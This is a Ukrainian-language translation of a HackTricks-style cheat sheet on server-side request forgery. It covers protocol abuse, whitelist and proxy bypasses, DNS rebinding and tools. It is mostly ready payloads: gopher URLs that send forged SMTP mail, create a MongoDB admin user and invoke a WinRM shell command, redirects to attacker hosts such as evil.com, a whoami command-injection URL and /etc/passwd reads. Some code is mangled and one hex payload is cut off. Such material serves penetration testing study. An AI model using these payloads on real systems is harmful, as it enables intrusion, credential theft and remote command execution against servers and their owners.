.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти.
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити свою компанію в рекламі на HackTricks або завантажити HackTricks у PDF Перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Базова інформація
Уразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює серверною програмою, щоб зробити HTTP-запити на домен за їхнім вибором. Ця уразливість викриває сервер зовнішнім запитам, спрямованим зловмисником.
Захоплення SSRF
Перше, що вам потрібно зробити, це захопити взаємодію SSRF, створену вами. Для захоплення HTTP- або DNS-взаємодії ви можете використовувати такі інструменти, як:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - A Burp Collaborator using ngrok
Обхід доменів у білому списку
Зазвичай ви виявите, що SSRF працює лише в певних доменах або URL-адресах. На наступній сторінці ви знайдете компіляцію технік для спроб обійти цей білий список:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Обхід через відкритий перенаправлення
Якщо сервер належним чином захищений, ви можете обійти всі обмеження, використовуючи вразливість відкритого перенаправлення на веб-сторінці. Оскільки веб-сторінка дозволить SSRF на той самий домен, і, ймовірно, буде слідувати перенаправленням, ви можете використати відкрите перенаправлення, щоб змусити сервер отримати доступ до внутрішнього ресурсу.
Докладніше читайте тут: https://portswigger.net/web-security/ssrf
Протоколи
- file://
- Схема URL
file://
посилається безпосередньо на/etc/passwd
:file:///etc/passwd
- dict://
- Схема URL DICT описується як використовувана для доступу до визначень або словників за допомогою протоколу DICT. Наведено приклад побудованого URL, який спрямований на конкретне слово, базу даних та номер запису, а також приклад використання PHP-скрипта для підключення до сервера DICT за допомогою наданих зловмисником облікових даних:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- Визначено як протокол безпечного передавання файлів через безпечний shell, наведено приклад того, як PHP-скрипт можна використовувати для підключення до шкідливого сервера SFTP:
url=sftp://generic.com:11111/
- TFTP://
- Згадується Протокол простого передавання файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для відправлення запиту на сервер TFTP. Запит TFTP робиться на 'generic.com' на порт '12346' для файлу 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Цей сегмент охоплює протокол легкого доступу до каталогів, підкреслюючи його використання для управління та доступу до розподілених служб каталогів через IP-мережі. Взаємодійте з сервером LDAP на localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Описано метод використання уразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші розслідувальні дії на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL глобінг - обхід WAF
- Якщо SSRF виконується за допомогою curl, у curl є функція, яка називається URL глобінг, яка може бути корисною для обходу WAF. Наприклад, у цьому **описі ви можете знайти приклад траверсу шляху через протокол
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Обговорюється можливість протоколу Gopher вказати IP, порт та байти для зв'язку з сервером, разом із інструментами, такими як Gopherus та remote-method-guesser для створення поліпшень. Показано два відмінні використання:
Gopher://
За допомогою цього протоколу ви можете вказати IP, порт та байти, які ви хочете, щоб сервер надіслав. Після цього ви фактично можете використовувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з послугою спочатку).
На щастя, ви можете використовувати Gopherus, щоб створювати поліпшення для кількох послуг. Крім того, remote-method-guesser може бути використаний для створення gopher поліпшень для служб Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Зворотнє підключення до 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- Створити користувача з ім'ям користувача=admin з паролем=admin123 та дозволом=адміністратор
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF через заголовок Referrer та інші
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, практика, яка ненавмисно викриває додатки до уразливостей на стороні сервера у вигляді підроблення запитів на сервер (SSRF). Це тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, зазначені в заголовку Referrer, для аналізу вмісту сайту-джерела. Для виявлення цих уразливостей рекомендується використовувати плагін Burp Suite "Collaborator Everywhere", використовуючи спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.
SSRF через дані SNI з сертифікату
Неправильна конфігурація, яка може дозволити підключення до будь-якого бекенду за допомогою простого налаштування, проілюстрована на прикладі конфігурації Nginx:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Це налаштування викриває вразливість на Server-Side Request Forgery (SSRF), яку можна використовувати, просто вказавши бажану IP-адресу або доменне ім'я у полі SNI. Нижче наведено приклад використання для примусового підключення до довільного бекенду, такого як internal.host.com
, за допомогою команди openssl
:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Завантаження файлу Wget
SSRF з Внедренням Команд
Можливо варто спробувати використати пейлоад на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Відображення PDF
Якщо веб-сторінка автоматично створює PDF з наданою вами інформацією, ви можете вставити деякий JS, який буде виконаний самим створювачем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Дізнайтеся більше тут.
Від SSRF до DoS
Створіть кілька сеансів та спробуйте завантажити важкі файли, використовуючи SSRF з сеансів.
Функції SSRF PHP
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF Перенаправлення на Gopher
Для деяких експлуатацій може знадобитися відправити відповідь перенаправлення (потенційно використовуючи інший протокол, наприклад gopher). Тут ви знайдете різні коди Python для відповіді з перенаправленням:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%
```plaintext
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Неправильно налаштовані проксі для SSRF
Хитрощі з цього посту.
Flask
Вразливий код проксі Flask
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкове ім'я хоста ім'ям користувача** та впровадити нове. Атака запиту:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Вразливий код:
Було виявлено, що можливо розпочати шлях запиту з символу ;
, що дозволяє використовувати потім @
та впроваджувати новий хост для доступу. Атака запиту:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Вбудований веб-сервер PHP
Вразливий PHP код
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP дозволяє використовувати **символ `*` перед косою рискою в шляху** URL, однак є інші обмеження, наприклад, його можна використовувати лише для кореневого шляху `/`, і крапки `.` не допускаються перед першою косою рискою, тому потрібно використовувати кодовану адресу IP без крапок, наприклад:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
Обхід CORS/SOP за допомогою DNS Rebidding
Якщо у вас виникають проблеми з ексфільтрацією вмісту з локальної IP-адреси через CORS/SOP, DNS Rebidding може бути використаний для обходу цього обмеження:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
Автоматизований DNS Rebidding
Singularity of Origin
- це інструмент для виконання атак DNS rebinding. Він включає необхідні компоненти для перенаправлення IP-адреси сервера атаки на DNS-ім'я цільової машини та надання атакуючих навантажень для використання вразливого програмного забезпечення на цільовій машині.
Також перевірте публічно працюючий сервер за адресою http://rebind.it/singularity.html
DNS Rebidding + TLS Session ID/Session ticket
Вимоги:
- SSRF
- Вихідні TLS-сесії
- Вміст на локальних портах
Атака:
- Запросіть користувача/бота доступ до домену, керованого атакуючим
- TTL DNS становить 0 сек (таким чином, жертва скоро знову перевірить IP-адресу домену)
- Між жертвою та доменом атакуючого створюється TLS-з'єднання. Атакуючий вводить навантаження в Session ID або Session Ticket.
- Домен почне безкінечний цикл перенаправлень на самого себе. Мета полягає в тому, щоб змусити користувача/бота звертатися до домену, поки він знову не виконає запит DNS домену.
- У запиті DNS зазначається приватна IP-адреса (наприклад, 127.0.0.1)
- Користувач/бот спробує відновити TLS-з'єднання, і для цього він надішле Session ID/Ticket ID (де містилося навантаження атакуючого). Таким чином, вітаємо, ви змогли змусити користувача/бота атакувати самого себе.
Зауважте, що під час цієї атаки, якщо ви хочете атакувати localhost:11211 (memcache), вам потрібно зробити так, щоб жертва встановила початкове з'єднання з www.attacker.com:11211 (порт завжди повинен бути однаковим).
Для виконання цієї атаки ви можете використати інструмент: https://github.com/jmdx/TLS-poison/
Для додаткової інформації перегляньте виступ, де пояснюється ця атака: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Сліпий SSRF
Відмінність між сліпим SSRF та не сліпим полягає в тому, що в сліпному ви не можете бачити відповідь на запит SSRF. Тому його складніше експлуатувати, оскільки ви зможете експлуатувати лише відомі вразливості.
Часовий SSRF
Перевірка часу відповідей від сервера може допомогти визначити, чи існує ресурс, чи ні (можливо, доступ до існуючого ресурсу займає більше часу, ніж доступ до неіснуючого)
Експлуатація Cloud SSRF
Якщо ви виявите вразливість SSRF на машині, що працює в хмарному середовищі, ви можете отримати цікаву інформацію про хмарне середовище навіть облікові дані:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Платформи з вразливим SSRF
Декілька відомих платформ містить або містили вразливості SSRF, перевірте їх тут:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Інструменти
SSRFMap
Інструмент для виявлення та експлуатації вразливостей SSRF
Gopherus
Цей інструмент генерує Gopher-навантаження для:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser - це сканер вразливостей Java RMI, який підтримує операції атак для більшості поширених вразливостей Java RMI. Більшість доступних операцій підтримують опцію --ssrf
, щоб генерувати SSRF навантаження для запитаної операції. Разом з опцією --gopher
можна безпосередньо генерувати готові до використання Gopher-навантаження.
SSRF Proxy
SSRF Proxy - це багатопотоковий HTTP проксі-сервер, призначений для тунелювання клієнтського HTTP-трафіку через HTTP-сервери, вразливі до атаки Server-Side Request Forgery (SSRF).
Для практики
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Посилання
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies